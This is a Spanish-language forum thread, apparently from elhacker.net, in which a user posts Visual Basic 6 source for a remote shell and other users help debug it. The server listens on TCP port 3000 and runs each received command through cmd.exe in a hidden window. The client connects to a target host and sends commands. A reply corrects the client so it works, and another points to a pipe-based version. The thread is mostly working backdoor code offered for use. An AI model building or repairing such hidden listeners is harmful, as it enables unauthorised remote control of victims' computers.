Foro de elhacker.net

Bie me dispuse ha hacer una shell remota con el comando shell "cmd.exe /c .....". Estoy desesperado no entiendo el motivo del fallo del codigo. El caso es como si el server no recibiera el comando. Lo posteo para que lo vean:


SERVIDOR:

Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Winsock1.Protocol = sckTCPProtocol
Winsock1.LocalPort = 3000
Winsock1.Listen
End Sub
 
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim comando As String
Dim a As Integer
Winsock1.GetData comando
Text1.Text = comando
Shell ("%windir%/system32/cmd.exe /c " & Text1.Text & ">%windir%/shell.txt"), vbHide
 
End Sub

De moemtno solo busco que funcione no que me devuelva la respuesta.

CLIENTE:

Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemotePort = 3000
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub
 
Private Sub Command2_Click()
Dim comando As String
Text4.Text = comando
Winsock1.SendData comando
Text4.Text = ""
End Sub
 
Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text4.Text = ""
Label3.Caption = "Desconectado"
Winsock1.Protocol = sckTCPProtocol
End Sub
 
Private Sub Text2_Change()
 
End Sub
 
Private Sub Text4_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then Command2_Click
End Sub
 
Private Sub Winsock1_Close()
Label3.Caption = "Desconectado"
Text2.Text = Text2.Text & vbCrLf & "Se ha perdido la conexión con el host remoto"
End Sub
 
Private Sub Winsock1_Connect()
Label3.Caption = "Conectado"
Text2.Text = "Conectado con exito a " & Winsock1.RemoteHostIP
End Sub
 
 
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Winsock1.GetData datos
Text3.Text = Text3.Text & vbCrLf & datos
End Sub

Gracias por adelantado. Espero sus respuestas. Salu2

http://foro.elhacker.net/empty-t277687.0.html

Se que se puede hacer con pipes pero mi nivel de programación no me permite hacerlo asi. Mi pregunta es si alguien lo ha haxo de la manera que lo intento hacer que me diga que está mal.


Salu2

Aqui cuando envias el comando en el cliente estas asignando mal la variable:

Private Sub Command2_Click()
Dim comando As String
Text4.Text = comando
Winsock1.SendData comando
Text4.Text = ""
End Sub

Deberia ser asi :

Private Sub Command2_Click()
Dim comando As String
comando = Text4.Text
Winsock1.SendData comando
Text4.Text = ""
End Sub

Intenta con eso... Suerte

ya mira aquí...

http://foro.elhacker.net/programacion_visual_basic/ayuda_con_cmd_pipe_vb6-t277687.0.html;msg1367077#msg1367077

A leerse completo el post!¡

El codigo de Cobein lo pegas en un modulo normal, quitas el form y estableses el proceso inicial a Sub Main()

Despues lo ejecutas se frezeara.

vas despues
inicio -> ejecutar escribes cmd  (Das Clic en aceptar)

en la terminal escribes


y ya esta tu Shell Remota!¡.

Dulce Infierno Lunar!¡.